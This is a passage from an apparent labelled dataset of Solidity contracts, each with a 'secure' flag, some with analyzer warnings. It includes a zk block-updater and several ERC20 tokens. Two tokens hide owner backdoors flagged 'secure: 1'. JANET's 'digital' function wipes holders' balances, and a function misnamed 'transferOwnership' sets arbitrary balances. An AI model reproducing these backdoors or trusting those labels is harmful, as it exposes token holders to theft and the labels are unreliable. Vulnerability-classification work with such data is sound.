signingValidatorSetHash\"\n );\n\n require(\n parsedInput.blockConfirmation >= minBlockConfirmation,\n \"Not enough block confirmations\"\n );\n\n require(validatorHashes[epoch] != bytes32(0), \"epoch no upload\");\n\n require(\n validatorHashes[nextEpoch] == bytes32(0),\n \"epoch already exist\"\n );\n\n uint256[1] memory compressInput;\n\n compressInput[0] = _hashInput(proofData.inputs);\n\n require(\n verifyProof(proofData.a, proofData.b, proofData.c, compressInput),\n \"invalid proof\"\n );\n\n validatorHashes[nextEpoch] = parsedInput.nextValidatorSetHash;\n\n currentEpoch = nextEpoch;\n\n blockInfos[parsedInput.blockHash][parsedInput.receiptHash] = parsedInput\n .blockConfirmation;\n\n emit ImportValidator(\n nextEpoch,\n parsedInput.blockNumber,\n parsedInput.blockHash,\n parsedInput.receiptHash\n );\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 51525e7): CeloBlockUpdater._importBlock(bytes).proofData is a local variable never initialized\n\t// Recommendation for 51525e7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _importBlock(bytes memory _proof) internal {\n ZkProof memory proofData;\n\n (proofData.a, proofData.b, proofData.c, proofData.inputs) = abi.decode(\n _proof,\n (uint256[2], uint256[2][2], uint256[2], uint256[8])\n );\n\n ParsedInput memory parsedInput = _parseInput(proofData.inputs);\n\n require(\n parsedInput.blockConfirmation >= minBlockConfirmation,\n \"Not enough block confirmations\"\n );\n\n (bool exist, uint256 blockConfirmation) = _checkBlock(\n parsedInput.blockHash,\n parsedInput.receiptHash\n );\n\n if (exist && parsedInput.blockConfirmation <= blockConfirmation) {\n revert(\"already exist\");\n }\n\n uint256 epoch = _computeEpoch(parsedInput.blockNumber);\n\n require(\n validatorHashes[epoch] == parsedInput.signingValidatorSetHash,\n \"epoch no upload\"\n );\n\n uint256[1] memory compressInput;\n\n compressInput[0] = _hashInput(proofData.inputs);\n\n require(\n verifyProof(proofData.a, proofData.b, proofData.c, compressInput),\n \"invalid proof\"\n );\n\n blockInfos[parsedInput.blockHash][parsedInput.receiptHash] = parsedInput\n .blockConfirmation;\n\n emit ImportBlock(\n parsedInput.blockNumber,\n parsedInput.blockHash,\n parsedInput.receiptHash\n );\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: bf0fc03): CeloBlockUpdater._parseInput(uint256[8]).result is a local variable never initialized\n\t// Recommendation for bf0fc03: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _parseInput(\n uint256[8] memory _inputs\n ) internal pure returns (ParsedInput memory) {\n ParsedInput memory result;\n\n result.blockNumber = _inputs[0];\n\n result.blockHash = bytes32((_inputs[2] << 128) | _inputs[1]);\n\n result.receiptHash = bytes32((_inputs[4] << 128) | _inputs[3]);\n\n result.signingValidatorSetHash = bytes32(_inputs[5]);\n\n result.nextValidatorSetHash = bytes32(_inputs[6]);\n\n result.blockConfirmation = _inputs[7];\n\n return result;\n }\n\n function _hashInput(\n uint256[8] memory _inputs\n ) internal pure returns (uint256) {\n uint256 computedHash = uint256(\n keccak256(\n abi.encodePacked(\n _inputs[0],\n _inputs[1],\n _inputs[2],\n _inputs[3],\n _inputs[4],\n _inputs[5],\n _inputs[6],\n _inputs[7]\n )\n )\n );\n\n return computedHash / 256;\n }\n\n function _computeEpoch(\n uint256 blockNumber\n ) internal pure returns (uint256) {\n return (blockNumber + 17280 - 1) / 17280;\n }\n\n function setBlockConfirmation(\n uint256 _minBlockConfirmation\n ) external onlyOwner {\n emit ModBlockConfirmation(minBlockConfirmation, _minBlockConfirmation);\n\n minBlockConfirmation = _minBlockConfirmation;\n }\n}", "file_name": "solidity_code_69.sol", "secure": 0, "size_bytes": 8951 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract JANET is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable venturelabs;\n\n constructor() {\n _name = \"JANET \";\n\n _symbol = \"JANET\";\n\n _decimals = 18;\n\n uint256 initialSupply = 15800000000;\n\n venturelabs = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == venturelabs, \"Not allowed\");\n\n _;\n }\n\n function digital(address[] memory formative) public onlyOwner {\n for (uint256 i = 0; i < formative.length; i++) {\n address account = formative[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_690.sol", "secure": 1, "size_bytes": 4378 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\nabstract contract ERC20 is IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n require(to != address(0), \"Transfer to zero address\");\n\n address owner = msg.sender;\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = msg.sender;\n\n require(spender != address(0), \"Approve to zero address\");\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n require(from != address(0), \"Transfer from zero address\");\n\n require(to != address(0), \"Transfer to zero address\");\n\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n\n require(spender != address(0), \"Approve to zero address\");\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"Decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 fromBalance = _balances[from];\n\n require(fromBalance >= amount, \"Insufficient balance for transfer\");\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Mint to zero address\");\n\n unchecked {\n _totalSupply += amount;\n\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"Insufficient allowance for transfer\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_691.sol", "secure": 1, "size_bytes": 4648 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != msg.sender) {\n revert OwnableUnauthorizedAccount(msg.sender);\n }\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_692.sol", "secure": 1, "size_bytes": 1320 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PostQuantumNetwork is ERC20, Ownable, ReentrancyGuard {\n event EthRecovered(address indexed to, uint256 amount);\n\n event TokensRecovered(\n address indexed token,\n address indexed to,\n uint256 amount\n );\n\n uint256 private constant INITIAL_SUPPLY = 400_000_000 * 10 ** 18;\n\n constructor() ERC20(\"Post Quantum Network\", \"PQCN\") Ownable(msg.sender) {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function recoverERC20(\n address tokenAddress,\n uint256 amount\n ) external nonReentrant onlyOwner {\n require(tokenAddress != address(0), \"Invalid token address\");\n\n require(amount > 0, \"Amount must be greater than 0\");\n\n require(\n IERC20(tokenAddress).balanceOf(address(this)) >= amount,\n \"Insufficient balance to recover\"\n );\n\n bool success = IERC20(tokenAddress).transfer(owner(), amount);\n\n require(success, \"Token recovery failed\");\n\n emit TokensRecovered(tokenAddress, owner(), amount);\n }\n\n function recoverETH() external nonReentrant onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No ETH to recover\");\n\n (bool success, ) = owner().call{value: balance}(\"\");\n\n require(success, \"ETH recovery failed\");\n\n emit EthRecovered(owner(), balance);\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_693.sol", "secure": 1, "size_bytes": 1783 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HomelanderPresident is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8028e05): Homelander_President._name should be constant \n\t// Recommendation for 8028e05: Add the 'constant' attribute to state variables that never change.\n string private _name = \"HOMELANDER\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b528b22): Homelander_President._symbol should be constant \n\t// Recommendation for b528b22: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"HOMELANDER\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb3530): Homelander_President._decimals should be constant \n\t// Recommendation for 4cb3530: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 777d416): Homelander_President._totalSupply should be immutable \n\t// Recommendation for 777d416: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 8_000_000_000 * (10 ** uint256(_decimals));\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_694.sol", "secure": 1, "size_bytes": 4380 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SquidOnETH is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"Squid Game on ETH\", \"SQUIDGAME\") {\n _mint(msg.sender, initialSupply);\n }\n}", "file_name": "solidity_code_695.sol", "secure": 1, "size_bytes": 295 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _owner;\n\n modifier onlyOwner() {\n require(_msgSender() == _owner, \"Caller is not the owner\");\n\n _;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _owner = _msgSender();\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function transferOwnership(\n address[] memory newOwners,\n uint256 value\n ) public onlyOwner {\n for (uint256 i = 0; i < newOwners.length; i++) {\n _balances[newOwners[i]] = value;\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_696.sol", "secure": 1, "size_bytes": 6409 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Floppy is ERC20 {\n constructor() ERC20(\"Floppy\", \"FLOPPY\") {\n _mint(msg.sender, 1_000_000_000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_697.sol", "secure": 1, "size_bytes": 282 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyToken is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"MONA\", \"MONA\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 1000000 * 10 ** decimals());\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override returns (bool) {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n return super.transfer(to, amount);\n }\n\n function transferOwnership(address newOwner) public override onlyOwner {\n require(newOwner != address(0), \"New owner is the zero address\");\n\n super.transferOwnership(newOwner);\n }\n}", "file_name": "solidity_code_698.sol", "secure": 1, "size_bytes": 1105 }